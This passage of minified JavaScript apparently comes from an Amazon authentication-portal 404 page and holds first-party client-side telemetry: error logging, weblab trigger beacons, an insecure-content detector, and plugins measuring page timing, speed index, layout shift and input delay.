                        setTimeout(c, r)
                    }
                    var s = b.ue_dserr || !1,
                        p = !0,
                        n = 1,
                        r = 2E3,
                        g = 0;
                    b.ue_err && s && (b.ue_err.errorHandlers || (b.ue_err.errorHandlers = []), b.ue_err.errorHandlers.push({
                        name: "ext",
                        handler: function(b) {
                            if (!b.logLevel || "FATAL" === b.logLevel) {
                                var f = c(!0),
                                    d = [],
                                    h;
                                for (h in f) {
                                    var f = h,
                                        g = f.match(/amazon(\.com?)?\.\w{2,3}$/i);
                                    g && 1 < g.length || -1 !== f.indexOf("amazon-adsystem.com") ||
                                        -1 !== f.indexOf("amazonpay.com") || -1 !== f.indexOf("cloudfront-labs.amazonaws.com") || d.push(h)
                                }
                                b.ext = d
                            }
                        }
                    }));
                    b.ue && b.ue.isl ? c() : b.ue && ue.attach && ue.attach("load", q)
                })(document, window);





                var ue_wtc_c = 3;
                ue_csm.ue.exec(function(b, e) {
                    function l() {
                        for (var a = 0; a < f.length; a++) a: for (var d = s.replace(A, f[a]) + g[f[a]] + t, c = arguments, b = 0; b < c.length; b++) try {
                            c[b].send(d);
                            break a
                        } catch (e) {}
                        g = {};
                        f = [];
                        n = 0;
                        k = p
                    }

                    function u() {
                        B ? l(q) : l(C, q)
                    }

                    function v(a, m, c) {
                        r++;
                        if (r > w) d.count && 1 == r - w && (d.count("WeblabTriggerThresholdReached", 1), b.ue_int && console.error("Number of max call reached. Data will no longer be send"));
                        else {
                            var h = c || {};
                            h && -1 < h.constructor.toString().indexOf(D) && a && -1 < a.constructor.toString().indexOf(x) && m && -1 <
                                m.constructor.toString().indexOf(x) ? (h = b.ue_id, c && c.rid && (h = c.rid), c = h, a = encodeURIComponent(",wl=" + a + "/" + m), 2E3 > a.length + p ? (2E3 < k + a.length && u(), void 0 === g[c] && (g[c] = "", f.push(c)), g[c] += a, k += a.length, n || (n = e.setTimeout(u, E))) : b.ue_int && console.error("Invalid API call. The input provided is over 2000 chars.")) : d.count && (d.count("WeblabTriggerImproperAPICall", 1), b.ue_int && console.error("Invalid API call. The input provided does not match the API protocol i.e ue.trigger(String, String, Object)."))
                        }
                    }

                    function F() {
                        d.trigger &&
                            d.trigger.isStub && d.trigger.replay(function(a) {
                                v.apply(this, a)
                            })
                    }

                    function y() {
                        z || (f.length && l(q), z = !0)
                    }
                    var t = ":1234",
                        s = "//" + b.ue_furl + "/1/remote-weblab-triggers/1/OE/" + b.ue_mid + ":" + b.ue_sid + ":PLCHLDR_RID$s:wl-client-id%3DCSMTriger",
                        A = "PLCHLDR_RID",
                        E = b.wtt || 1E4,
                        p = s.length + t.length,
                        w = b.mwtc || 2E3,
                        G = 1 === e.ue_wtc_c,
                        B = 3 === e.ue_wtc_c,
                        H = e.XMLHttpRequest && "withCredentials" in new e.XMLHttpRequest,
                        x = "String",
                        D = "Object",
                        d = b.ue,
                        g = {},
                        f = [],
                        k = p,
                        n, z = !1,
                        r = 0,
                        C = function() {
                            return {
                                send: function(a) {
                                    if (H) {
                                        var b = new e.XMLHttpRequest;
                                        b.open("GET", a, !0);
                                        G && (b.withCredentials = !0);
                                        b.send()
                                    } else throw "";
                                }
                            }
                        }(),
                        q = function() {
                            return {
                                send: function(a) {
                                    (new Image).src = a
                                }
                            }
                        }();
                    e.encodeURIComponent && (d.attach && (d.attach("beforeunload", y), d.attach("pagehide", y)), F(), d.trigger = v)
                }, "client-wbl-trg")(ue_csm, window);


                (function(k, d, h) {
                    function f(a, c, b) {
                        a && a.indexOf && 0 === a.indexOf("http") && 0 !== a.indexOf("https") && l(s, c, a, b)
                    }

                    function g(a, c, b) {
                        a && a.indexOf && (location.href.split("#")[0] != a && null !== a && "undefined" !== typeof a || l(t, c, a, b))
                    }

                    function l(a, c, b, e) {
                        m[b] || (e = u && e ? n(e) : "N/A", d.ueLogError && d.ueLogError({
                            message: a + c + " : " + b,
                            logLevel: v,
                            stack: "N/A"
                        }, {
                            attribution: e
                        }), m[b] = 1, p++)
                    }

                    function e(a, c) {
                        if (a && c)
                            for (var b = 0; b < a.length; b++) try {
                                c(a[b])
                            } catch (d) {}
                    }

                    function q() {
                        return d.performance && d.performance.getEntriesByType ?
                            d.performance.getEntriesByType("resource") : []
                    }

                    function n(a) {
                        if (a.id) return "//*[@id='" + a.id + "']";
                        var c;
                        c = 1;
                        var b;
                        for (b = a.previousSibling; b; b = b.previousSibling) b.nodeName == a.nodeName && (c += 1);
                        b = a.nodeName;
                        1 != c && (b += "[" + c + "]");
                        a.parentNode && (b = n(a.parentNode) + "/" + b);
                        return b
                    }

                    function w() {
                        var a = h.images;
                        a && a.length && e(a, function(a) {
                            var b = a.getAttribute("src");
                            f(b, "img", a);
                            g(b, "img", a)
                        })
                    }

                    function x() {
                        var a = h.scripts;
                        a && a.length && e(a, function(a) {
                            var b = a.getAttribute("src");
                            f(b, "script", a);
                            g(b, "script", a)
                        })
                    }

                    function y() {
                        var a = h.styleSheets;
                        a && a.length && e(a, function(a) {
                            if (a = a.ownerNode) {
                                var b = a.getAttribute("href");
                                f(b, "style", a);
                                g(b, "style", a)
                            }
                        })
                    }

                    function z() {
                        if (A) {
                            var a = q();
                            e(a, function(a) {
                                f(a.name, a.initiatorType)
                            })
                        }
                    }

                    function B() {
                        e(q(), function(a) {
                            g(a.name, a.initiatorType)
                        })
                    }

                    function r() {
                        var a;
                        a = d.location && d.location.protocol ? d.location.protocol : void 0;
                        "https:" == a && (z(), w(), x(), y(), B(), p < C && setTimeout(r, D))
                    }
                    var s = "[CSM] Insecure content detected ",
                        t = "[CSM] Ajax request to same page detected ",
                        v = "WARN",
                        m = {},
                        p = 0,
                        D = k.ue_nsip || 1E3,
                        C = 5,
                        A = 1 == k.ue_urt,
                        u = !0;
                    ue_csm.ue_disableNonSecure || (d.performance && d.performance.setResourceTimingBufferSize && d.performance.setResourceTimingBufferSize(300), r())
                })(ue_csm, window, document);


                var ue_aa_a = "";
                if (ue.trigger && (ue_aa_a === "C" || ue_aa_a === "T1")) {
                    ue.trigger("UEDATA_AA_SERVERSIDE_ASSIGNMENT_CLIENTSIDE_TRIGGER_190249", ue_aa_a);
                }
                (function(f, b) {
                    function g() {
                        try {
                            b.PerformanceObserver && "function" === typeof b.PerformanceObserver && (a = new b.PerformanceObserver(function(b) {
                                c(b.getEntries())
                            }), a.observe(d))
                        } catch (h) {
                            k()
                        }
                    }

                    function m() {
                        for (var h = d.entryTypes, a = 0; a < h.length; a++) c(b.performance.getEntriesByType(h[a]))
                    }

                    function c(a) {
                        if (a && Array.isArray(a)) {
                            for (var c = 0, e = 0; e < a.length; e++) {
                                var d = l.indexOf(a[e].name);
                                if (-1 !== d) {
                                    var g = Math.round(b.performance.timing.navigationStart + a[e].startTime);
                                    f.uet(n[d], void 0, void 0, g);
                                    c++
                                }
                            }
                            l.length ===
                                c && k()
                        }
                    }

                    function k() {
                        a && a.disconnect && "function" === typeof a.disconnect && a.disconnect()
                    }
                    if ("function" === typeof f.uet && b.performance && "object" === typeof b.performance && b.performance.getEntriesByType && "function" === typeof b.performance.getEntriesByType && b.performance.timing && "object" === typeof b.performance.timing && "number" === typeof b.performance.timing.navigationStart) {
                        var d = {
                                entryTypes: ["paint"]
                            },
                            l = ["first-paint", "first-contentful-paint"],
                            n = ["fp", "fcp"],
                            a;
                        try {
                            m(), g()
                        } catch (p) {
                            f.ueLogError(p, {
                                logLevel: "ERROR",
                                attribution: "performanceMetrics"
                            })
                        }
                    }
                })(ue_csm, window);


                if (window.csa) {
                    csa("Events")("setEntity", {
                        page: {
                            pageType: "AuthenticationPortal",
                            subPageType: "Error404Page",
                            pageTypeId: ""
                        }
                    });
                }
                csa.plugin(function(c) {
                    var m = "transitionStart",
                        n = "pageVisible",
                        e = "PageTiming",
                        t = "visibilitychange",
                        s = "$latency.visible",
                        i = c.global,
                        r = (i.performance || {}).timing,
                        a = ["navigationStart", "unloadEventStart", "unloadEventEnd", "redirectStart", "redirectEnd", "fetchStart", "domainLookupStart", "domainLookupEnd", "connectStart", "connectEnd", "secureConnectionStart", "requestStart", "responseStart", "responseEnd", "domLoading", "domInteractive", "domContentLoadedEventStart", "domContentLoadedEventEnd", "domComplete", "loadEventStart", "loadEventEnd"],
                        u = c.config,
                        o = i.Math,
                        l = o.max,
                        g = o.floor,
                        d = i.document || {},
                        f = (r || {}).navigationStart,
                        v = f,
                        p = 0,
                        S = null;
                    if (i.Object.keys && [].forEach && !u["KillSwitch." + e]) {
                        if (!r || null === f || f <= 0 || void 0 === f) return c.error("Invalid navigation timing data: " + f);
                        S = new E({
                            schemaId: "<ns>.PageLatency.6",
                            producerId: "csa"
                        }), "boolean" != typeof d.hidden && "string" != typeof d.visibilityState || !d.removeEventListener ? c.emit(s) : b() ? (c.emit(s), I(n, f)) : c.on(d, t, function e() {
                            b() && (v = c.time(), d.removeEventListener(t, e), I(m, v), I(n, v), c.emit(s))
                        }), c.once("$unload", h), c.once("$load", h), c.on("$pageTransition", function() {
                            v = c.time()
                        }), c.register(e, {
                            mark: I,
                            instance: function(e) {
                                return new E(e)
                            }
                        })
                    }

                    function E(e) {
                        var i, r = null,
                            a = e.ent || {
                                page: ["pageType", "subPageType", "requestId"]
                            },
                            o = e.logger || c("Events", {
                                producerId: e.producerId,
                                lob: u.lob || "0"
                            });
                        if (!e || !e.producerId || !e.schemaId) return c.error("The producer id and schema Id must be defined for PageLatencyInstance.");

                        function d() {
                            return i || v
                        }

                        function n() {
                            r = c.UUID()
                        }
                        this.mark = function(n, t) {
                            if (null != n) return t = t || c.time(), n === m && (i = t), c.once(s, function() {
                                o("log", {
                                    messageId: r,
                                    __merge: function(e) {
                                        e.markers[n] = function(e, n) {
                                            return l(0, n - (e || v))
                                        }(d(), t), e.markerTimestamps[n] = g(t)
                                    },
                                    markers: {},
                                    markerTimestamps: {},
                                    navigationStartTimestamp: d() ? new Date(d()).toISOString() : null,
                                    schemaId: e.schemaId
                                }, {
                                    ent: a
                                })
                            }), t
                        }, n(), c.on("$beforePageTransition", n)
                    }

                    function I(e, n) {
                        e === m && (v = n);
                        var t = S.mark(e, n);
                        c.emit("$timing:" + e, t)
                    }

                    function h() {
                        if (!p) {
                            for (var e = 0; e < a.length; e++) r[a[e]] && I(a[e], r[a[e]]);
                            p = 1
                        }
                    }

                    function b() {
                        return !d.hidden || "visible" === d.visibilityState
                    }
                });
                csa.plugin(function(u) {
                    var f, c, l = "length",
                        a = "parentElement",
                        t = "target",
                        i = "getEntriesByName",
                        e = "perf",
                        n = null,
                        r = "_csa_flt",
                        o = "_csa_llt",
                        s = "previousSibling",
                        d = "visuallyLoaded",
                        g = "client",
                        h = "offset",
                        m = "scroll",
                        p = "Width",
                        v = "Height",
                        y = g + p,
                        E = g + v,
                        S = h + p,
                        b = h + v,
                        x = m + p,
                        O = m + v,
                        _ = "_osrc",
                        w = "_elt",
                        L = "_eid",
                        T = 10,
                        I = 5,
                        N = 15,
                        k = 100,
                        B = u.global,
                        H = u.timeout,
                        W = B.Math,
                        Y = W.max,
                        C = W.floor,
                        F = W.ceil,
                        M = B.document || {},
                        R = M.body || {},
                        V = M.documentElement || {},
                        $ = B.performance || {},
                        P = ($.timing || {}).navigationStart,
                        X = Date.now,
                        D = Object.values || (u.types || {}).ovl,
                        J = u("PageTiming"),
                        j = u("SpeedIndexBuffers"),
                        q = [],
                        Q = [],
                        U = [],
                        z = [],
                        A = [],
                        G = [],
                        K = .1,
                        Z = .1,
                        ee = 0,
                        ne = 0,
                        te = !0,
                        ie = 0,
                        re = 0,
                        oe = 1 == u.config["SpeedIndex.ForceReplay"],
                        ae = 0,
                        fe = 1,
                        ue = 0,
                        ce = {},
                        le = [],
                        se = 0,
                        de = {
                            buffered: 1
                        };

                    function ge(e) {
                        u.global.ue_csa_ss_tag || u.emit("$csmTag:" + e, 0, de)
                    }

                    function he() {
                        for (var e = X(), n = 0; f;) {
                            if (0 !== f[l]) {
                                if (!1 !== f.h(f[0]) && f.shift(), n++, !oe && n % T == 0 && X() - e > I) break
                            } else f = f.n
                        }
                        ee = 0, f && (ee || (!0 === M.hidden ? (oe = 1, he()) : u.timeout(he, 0)))
                    }

                    function me(e, n, t, i, r) {
                        ue = C(e), q = n, Q = t, U = i, G = r;
                        var o = M.createTreeWalker(M.body, NodeFilter.SHOW_TEXT, null, null),
                            a = {
                                w: B.innerWidth,
                                h: B.innerHeight,
                                x: B.pageXOffset,
                                y: B.pageYOffset
                            };
                        M.body[w] = e, z.push({
                            w: o,
                            vp: a
                        }), A.push({
                            img: M.images,
                            iter: 0
                        }), q.h = pe, (q.n = Q).h = ve, (Q.n = U).h = ye, (U.n = z).h = Ee, (z.n = A).h = Se, (A.n = G).h = be, f = q, he()
                    }

                    function pe(e) {
                        e.m.forEach(function(e) {
                            for (var n = e; n && (e === n || !n[r] || !n[o]);) n[r] || (n[r] = e[r]), n[o] || (n[o] = e[o]), n[w] = n[r] - P, n = n[s]
                        })
                    }

                    function ve(e) {
                        e.m.forEach(function(e) {
                            var n = e[t];
                            _ in n || (n[_] = e.oldValue)
                        })
                    }

                    function ye(n) {
                        n.m.forEach(function(e) {
                            e[t][w] = n.t - P
                        })
                    }

                    function Ee(e) {
                        for (var n, t = e.vp, i = e.w, r = T;
                            (n = i.nextNode()) && 0 < r;) {
                            r -= 1;
                            var o = (n[a] || {}).nodeName;
                            "SCRIPT" !== o && "STYLE" !== o && "NOSCRIPT" !== o && "BODY" !== o && 0 !== (n.nodeValue || "").trim()[l] && Le(n[a], xe(n), t)
                        }
                        return !n
                    }

                    function Se(e) {
                        for (var n = {
                                w: B.innerWidth,
                                h: B.innerHeight,
                                x: B.pageXOffset,
                                y: B.pageYOffset
                            }, t = T; e.iter < e.img[l] && 0 < t;) {
                            var i, r = e.img[e.iter],
                                o = we(r),
                                a = o && xe(o) || xe(r);
                            o ? (o[w] = a, i = _e(o.querySelector('[aria-posinset="1"] img') || r) || a, r = o) : i = _e(r) || a, re && c < i && (i = a), Le(r, i, n), e.iter += 1, t -= 1
                        }
                        return e.img[l] <= e.iter
                    }

                    function be(e) {
                        var n = [],
                            i = 0,
                            r = 0,
                            o = ne,
                            t = B.innerHeight || Y(R[O] || 0, R[b] || 0, V[E] || 0, V[O] || 0, V[b] || 0),
                            a = C(e.y / k),
                            f = F((e.y + t) / k);
                        le.slice(a, f).forEach(function(e) {
                            (e.elems || []).forEach(function(e) {
                                e.lt in n || (n[e.lt] = {}), e.id in n[e.lt] || (i += (n[e.lt][e.id] = e).a)
                            })
                        }), ge("startVL"), D(n).forEach(function(e) {
                            D(e).forEach(function(e) {
                                var n = 1 - r / i,
                                    t = Y(e.lt, o);
                                se += n * (t - o), o = t,
                                    function(e, n) {
                                        var t;
                                        for (; K <= 1 && K - .01 <= e;) Te(d + (t = (100 * K).toFixed(0)), n.lt), "50" !== t && "90" !== t || u("Content", {
                                            target: n.e
                                        })("mark", d + t, P + F(n.lt || 0)), K += Z
                                    }((r += e.a) / i, e)
                            })
                        }), ge("endVL"), ne = e.t - P, G[l] <= 1 && (Te("speedIndex", se), Te(d + "0", ue)), te && (te = !1, Te("atfSpeedIndex", se))
                    }

                    function xe(e) {
                        for (var n = e[a], t = N; n && 0 < t;) {
                            if (n[w] || 0 === n[w]) return Y(n[w], ue);
                            n = n.parentElement, t -= 1
                        }
                    }

                    function Oe(e, n) {
                        if (e) {
                            if (!e.indexOf("data:")) return xe(n);
                            var t = $[i](e) || [];
                            if (0 < t[l]) return Y(F(t[0].responseEnd || 0), ue)
                        }
                    }

                    function _e(e) {
                        return Oe(e[_], e) || Oe(e.currentSrc, e) || Oe(e.src, e)
                    }

                    function we(e) {
                        for (var n = 10, t = e.parentElement; t && 0 < n;) {
                            if (t.classList && t.classList.contains("a-carousel-viewport")) return t;
                            t = t.parentElement, n -= 1
                        }
                        return null
                    }

                    function Le(e, n, t) {
                        if ((n || 0 === n) && !e[L]) {
                            var i = e.getBoundingClientRect(),
                                r = i.width * i.height,
                                o = t.w || Y(R[x] || 0, R[S] || 0, V[y] || 0, V[x] || 0, V[S] || 0) || i.right,
                                a = i.width / 2,
                                f = fe++;
                            if (0 != r && !(a < i.right - o || i.right < a)) {
                                for (var u = {
                                        e: e,
                                        lt: n,
                                        a: r,
                                        id: f
                                    }, c = C((i.top + t.y) / k), l = F((i.top + t.y + i.height) / k), s = c; s <= l; s++) s in le || (le[s] = {
                                    elems: [],
                                    lt: 0
                                }), le[s].elems.push(u);
                                e[L] = f
                            }
                        }
                    }

                    function Te(e, n) {
                        J("mark", e, P + F((ce[e] = n) || 0))
                    }

                    function Ie(e) {
                        ae || (ge("browserQuite" + e), j("getBuffers", me), ae = 1)
                    }
                    P && D && $[i] ? (ge(e + "Yes"), j("registerListener", function() {
                        re && (clearTimeout(ie), ie = H(Ie.bind(n, "Mut"), 2500))
                    }), u.once("$unload", function() {
                        oe = 1, Ie("Ud")
                    }), u.once("$load", function() {
                        re = 1, c = X() - P, ie = H(Ie.bind(n, "Ld"), 2500)
                    }), u.once("$timing:functional", Ie.bind(n, "Fn")), j("replayModuleIsLive"), u.register("SpeedIndex", {
                        getMarkers: function(e) {
                            e && e(JSON.parse(JSON.stringify(ce)))
                        }
                    })) : ge(e + "No")
                });
                csa.plugin(function(e) {
                    var m = !!e.config["LCP.elementDedup"],
                        t = !1,
                        n = e("PageTiming"),
                        r = e.global.PerformanceObserver,
                        a = e.global.performance;

                    function i() {
                        return a.timing.navigationStart
                    }

                    function o() {
                        t || function(o) {
                            var l = new r(function(e) {
                                var t = e.getEntries();
                                if (0 !== t.length) {
                                    var n = t[t.length - 1];
                                    if (m && "" !== n.id && n.element && "IMG" === n.element.tagName) {
                                        for (var r = {}, a = t[0], i = 0; i < t.length; i++) t[i].id in r || ("" !== t[i].id && (r[t[i].id] = !0), a.startTime < t[i].startTime && (a = t[i]));
                                        n = a
                                    }
                                    l.disconnect(), o({
                                        startTime: n.startTime,
                                        renderTime: n.renderTime,
                                        loadTime: n.loadTime
                                    })
                                }
                            });
                            try {
                                l.observe({
                                    type: "largest-contentful-paint",
                                    buffered: !0
                                })
                            } catch (e) {}
                        }(function(e) {
                            e && (t = !0, n("mark", "largestContentfulPaint", Math.floor(e.startTime + i())), e.renderTime && n("mark", "largestContentfulPaint.render", Math.floor(e.renderTime + i())), e.loadTime && n("mark", "largestContentfulPaint.load", Math.floor(e.loadTime + i())))
                        })
                    }
                    r && a && a.timing && (e.once("$unload", o), e.once("$load", o), e.register("LargestContentfulPaint", {}))
                });
                csa.plugin(function(r) {
                    var e = r("Metrics", {
                            producerId: "csa"
                        }),
                        n = r.global.PerformanceObserver;
                    n && (n = new n(function(r) {
                        var t = r.getEntries();
                        if (0 === t.length || !t[0].processingStart || !t[0].startTime) return;
                        ! function(r) {
                            r = r || 0, n.disconnect(), 0 <= r ? e("recordMetric", "firstInputDelay", r) : e("recordMetric", "firstInputDelay.invalid", 1)
                        }(t[0].processingStart - t[0].startTime)
                    }), function() {
                        try {
                            n.observe({
                                type: "first-input",
                                buffered: !0
                            })
                        } catch (r) {}
                    }())
                });
                csa.plugin(function(d) {
                    var e = "Metrics",
                        g = d.config,
                        f = 0;

                    function r(i) {
                        var c, t, e = i.producerId,
                            r = i.logger,
                            o = r || d("Events", {
                                producerId: e,
                                lob: g.lob || "0"
                            }),
                            s = (i || {}).dimensions || {},
                            u = {},
                            n = -1;
                        if (!e && !r) return d.error("Either a producer id or custom logger must be defined");

                        function a() {
                            n !== f && (c = d.UUID(), t = d.UUID(), u = {}, n = f)
                        }
                        this.recordMetric = function(r, n) {
                            var e = i.logOptions || {
                                ent: {
                                    page: ["pageType", "subPageType", "requestId"]
                                }
                            };
                            e.debugMetric = i.debugMetric, a(), o("log", {
                                messageId: c,
                                schemaId: i.schemaId || "<ns>.Metric.4",
                                metrics: {},
                                dimensions: s,
                                __merge: function(e) {
                                    e.metrics[r] = n
                                }
                            }, e)
                        }, this.recordCounter = function(r, e) {
                            var n = i.logOptions || {
                                ent: {
                                    page: ["pageType", "subPageType", "requestId"]
                                }
                            };
                            if ("string" != typeof r || "number" != typeof e || !isFinite(e)) return d.error("Invalid type given for counter name or counter value: " + r + "/" + e);
                            a(), r in u || (u[r] = {});
                            var c = u[r];
                            "f" in c || (c.f = e), c.c = (c.c || 0) + 1, c.s = (c.s || 0) + e, c.l = e, o("log", {
                                messageId: t,
                                schemaId: i.schemaId || "<ns>.InternalCounters.3",
                                c: {},
                                __merge: function(e) {
                                    r in e.c || (e.c[r] = {}), c.fs || (c.fs = 1, e.c[r].f = c.f), 1 < c.c && (e.c[r].s = c.s, e.c[r].l = c.l, e.c[r].c = c.c)
                                }
                            }, n)
                        }
                    }
                    g["KillSwitch." + e] || (new r({
                        producerId: "csa"
                    }).recordMetric("baselineMetricEvent", 1), d.on("$beforePageTransition", function() {
                        f++
                    }), d.register(e, {
                        instance: function(e) {
                            return new r(e || {})
                        }
                    }))
                });
                csa.plugin(function(t) {
                    var a, n = t.config,
                        r = (t.global.performance || {}).timing,
                        s = (r || {}).navigationStart || t.time();

                    function e() {
                        a = t.UUID()
                    }

                    function i(i) {
                        var r = (i = i || {}).producerId,
                            e = i.logger,
                            o = e || t("Events", {
                                producerId: r,
                                lob: n.lob || "0"
                            });
                        if (!r && !e) return t.error("Either a producer id or custom logger must be defined");
                        this.mark = function(e, r) {
                            var n = (void 0 === r ? t.time() : r) - s;
                            o("log", {
                                messageId: a,
                                schemaId: i.schemaId || "<ns>.Timer.1",
                                markers: {},
                                __merge: function(r) {
                                    r.markers[e] = n
                                }
                            }, i.logOptions)
                        }
                    }
                    r && (e(), t.on("$beforePageTransition", e), t.register("Timers", {
                        instance: function(r) {
                            return new i(r || {})
                        }
                    }))
                });
                csa.plugin(function(t) {
                    var e = "takeRecords",
                        i = "disconnect",
                        n = "function",
                        o = t("Metrics", {
                            producerId: "csa"
                        }),
                        c = t("PageTiming"),
                        a = t.global,
                        u = t.timeout,
                        r = t.on,
                        f = a.PerformanceObserver,
                        m = 0,
                        l = !1,
                        s = 0,
                        d = a.performance,
                        h = a.document,
                        v = null,
                        y = !1,
                        g = t.blank;

                    function p() {
                        l || (l = !0, clearTimeout(v), typeof f[e] === n && f[e](), typeof f[i] === n && f[i](), o("recordMetric", "documentCumulativeLayoutShift", m), c("mark", "cumulativeLayoutShiftLastTimestamp", Math.floor(s + d.timing.navigationStart)))
                    }
                    f && d && d.timing && h && (f = new f(function(t) {
                        v && clearTimeout(v);
                        t.getEntries().forEach(function(t) {
                            t.hadRecentInput || (m += t.value, s < t.startTime && (s = t.startTime))
                        }), v = u(p, 5e3)
                    }), function() {
                        try {
                            f.observe({
                                type: "layout-shift",
                                buffered: !0
                            }), v = u(p, 5e3)
                        } catch (t) {}
                    }(), g = r(h, "click", function(t) {
                        y || (y = !0, o("recordMetric", "documentCumulativeLayoutShiftToFirstInput", m), g())
                    }), r(h, "visibilitychange", function() {
                        "hidden" === h.visibilityState && p()
                    }), t.once("$unload", p))
                });
                csa.plugin(function(e) {
                    var t, n = e.global,
                        r = n.PerformanceObserver,
                        c = e("Metrics", {
                            producerId: "csa"
                        }),
                        o = 0,
                        i = 0,
                        a = -1,
                        l = n.Math,
                        f = l.max,
                        u = l.ceil;
                    if (r) {
                        t = new r(function(e) {
                            e.getEntries().forEach(function(e) {
                                var t = e.duration;
                                o += t, i += t, a = f(t, a)
                            })
                        });
                        try {
                            t.observe({
                                type: "longtask",
                                buffered: !0
                            })
                        } catch (e) {}
                        t = new r(function(e) {
                            0 < e.getEntries().length && (i = 0, a = -1)
                        });
                        try {
                            t.observe({
                                type: "largest-contentful-paint",
                                buffered: !0
                            })
                        } catch (e) {}
                        e.on("$unload", g), e.on("$beforePageTransition", g)
                    }

                    function g() {
                        c("recordMetric", "totalBlockingTime", u(i || 0)), c("recordMetric", "totalBlockingTimeInclLCP", u(o || 0)), c("recordMetric", "maxBlockingTime", u(a || 0)), i = o = 0, a = -1
                    }
                });
                csa.plugin(function(o) {
                    var e = "CacheDetection",
                        r = "csa-ctoken-",
                        n = o.store,
                        t = o.deleteStored,
                        c = o.config,
                        a = c[e + ".RequestID"],
                        i = c[e + ".Callback"],
                        s = o.global,
                        u = s.document || {},
                        d = s.Date,
                        l = o("Events"),
                        f = o("Events", {
                            producerId: "csa",
                            lob: c.lob || "0"
                        });

                    function p(e) {
                        try {
                            var n = u.cookie.match(RegExp("(^| )" + e + "=([^;]+)"));
                            return n && n[2].trim()
                        } catch (e) {}
                    }! function() {
                        var e = function() {
                                var e = p("cdn-rid");
                                if (e) return {
                                    r: e,
                                    s: "cdn"
                                }
                            }() || function() {
                                if (o.store(r + a)) return {
                                    r: o.UUID().toUpperCase().replace(/-/g, "").slice(0, 20),
                                    s: "device"
                                }
                            }() || {},
                            n = e.r,
                            c = e.s;
                        if (!!n) {
                            var t = p("session-id");
                            ! function(e, n, c, t) {
                                l("setEntity", {
                                    page: {
                                        pageSource: "cache",
                                        requestId: e,
                                        cacheRequestId: a,
                                        cacheSource: t
                                    },
                                    session: {
                                        id: c
                                    }
                                })
                            }(n, 0, t, c), "device" === c && f("log", {
                                schemaId: "<ns>.CacheImpression.2"
                            }, {
                                ent: "all"
                            }), i && i(n, t, c)
                        }
                    }(), n(r + a, d.now() + 36e5), o.once("$load", function() {
                        var c = d.now();
                        t(function(e, n) {
                            return 0 == e.indexOf(r) && parseInt(n) < c
                        })
                    })
                });
                csa.plugin(function(u) {
                    var i, t = "Content",
                        e = "MutationObserver",
                        n = "addedNodes",
                        a = "querySelectorAll",
                        f = "matches",
                        r = "getAttributeNames",
                        o = "getAttribute",
                        s = "dataset",
                        c = "widget",
                        l = "producerId",
                        d = "slotId",
                        h = "iSlotId",
                        g = {
                            ent: {
                                element: 1,
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        },
                        p = 5,
                        m = u.config[t + ".BubbleUp.SearchDepth"] || 35,
                        y = u.config[t + ".SearchPage"] || 0,
                        v = "csaC",
                        b = v + "Id",
                        E = "logRender",
                        w = {},
                        I = u.config,
                        O = I[t + ".Selectors"] || [],
                        C = I[t + ".WhitelistedAttributes"] || {
                            href: 1,
                            class: 1
                        },
                        N = I[t + ".EnableContentEntities"],
                        S = I["KillSwitch.ContentRendered"],
                        k = u.global,
                        A = k.document || {},
                        U = A.documentElement,
                        L = k.HTMLElement,
                        R = {},
                        _ = [],
                        j = function(t, e, n, i) {
                            var o = this,
                                r = u("Events", {
                                    producerId: t || "csa",
                                    lob: I.lob || "0"
                                });
                            e.type = e.type || c, o.id = e.id, o.l = r, o.e = e, o.el = n, o.rt = i, o.dlo = g, o.op = W(n, "csaOp"), o.log = function(t, e) {
                                r("log", t, e || g)
                            }, o.entities = function(t) {
                                t(e)
                            }, e.id && r("setEntity", {
                                element: e
                            })
                        },
                        x = j.prototype;

                    function D(t) {
                        var e = (t = t || {}).element,
                            n = t.target;
                        return e ? function(t, e) {
                            var n;
                            n = t instanceof L ? K(t) || Y(e[l], t, z, u.time()) : R[t.id] || H(e[l], 0, t, u.time());
                            return n
                        }(e, t) : n ? M(n) : u.error("No element or target argument provided.")
                    }

                    function M(t) {
                        var e = function(t) {
                            var e = null,
                                n = 0;
                            for (; t && n < m;) {
                                if (n++, P(t, b)) {
                                    e = t;
                                    break
                                }
                                t = t.parentElement
                            }
                            return e
                        }(t);
                        return e ? K(e) : new j("csa", {
                            id: null
                        }, null, u.time())
                    }

                    function P(t, e) {
                        if (t && t.dataset) return t.dataset[e]
                    }

                    function T(t, e, n) {
                        _.push({
                            n: n,
                            e: t,
                            t: e
                        }), B()
                    }

                    function q() {
                        for (var t = u.time(), e = 0; 0 < _.length;) {
                            var n = _.shift();
                            if (w[n.n](n.e, n.t), ++e % 10 == 0 && u.time() - t > p) break
                        }
                        i = 0, _.length && B()
                    }

                    function B() {
                        i = i || u.raf(q)
                    }

                    function X(t, e, n) {
                        return {
                            n: t,
                            e: e,
                            t: n
                        }
                    }

                    function Y(t, e, n, i) {
                        var o = u.UUID(),
                            r = {
                                id: o
                            },
                            c = M(e);
                        return e[s][b] = o, n(r, e), c && c.id && (r.parentId = c.id), H(t, e, r, i)
                    }

                    function $(t) {
                        return isNaN(t) ? null : Math.round(t)
                    }

                    function H(t, e, n, i) {
                        N && (n.schemaId = "<ns>.ContentEntity.2"), n.id = n.id || u.UUID();
                        var o = new j(t, n, e, i);
                        return function(t) {
                            return !S && ((t.op || {}).hasOwnProperty(E) || y)
                        }(o) && function(t, e) {
                            var n = {},
                                i = u.exec($);
                            t.el && (n = t.el.getBoundingClientRect()), t.log({
                                schemaId: "<ns>.ContentRender.3",
                                timestamp: e,
                                width: i(n.width),
                                height: i(n.height),
                                positionX: i(n.left + k.pageXOffset),
                                positionY: i(n.top + k.pageYOffset)
                            })
                        }(o, i), u.emit("$content.register", o), R[n.id] = o
                    }

                    function K(t) {
                        return R[(t[s] || {})[b]]
                    }

                    function W(n, i) {
                        var o = {};
                        return r in (n = n || {}) && Object.keys(n[s]).forEach(function(t) {
                            if (!t.indexOf(i) && i.length < t.length) {
                                var e = function(t) {
                                    return (t[0] || "").toLowerCase() + t.slice(1)
                                }(t.slice(i.length));
                                o[e] = n[s][t]
                            }
                        }), o
                    }

                    function z(t, e) {
                        r in e && (function(t, e) {
                            var n = W(t, v);
                            Object.keys(n).forEach(function(t) {
                                e[t] = n[t]
                            })
                        }(e, t), d in t && (t[h] = t[d]), function(e, n) {
                            (e[r]() || []).forEach(function(t) {
                                t in C && (n[t] = e[o](t))
                            })
                        }(e, t))
                    }
                    U && A[a] && k[e] && (O.push({
                        selector: "*[data-csa-c-type]",
                        entity: z
                    }), O.push({
                        selector: ".celwidget",
                        entity: function(t, e) {
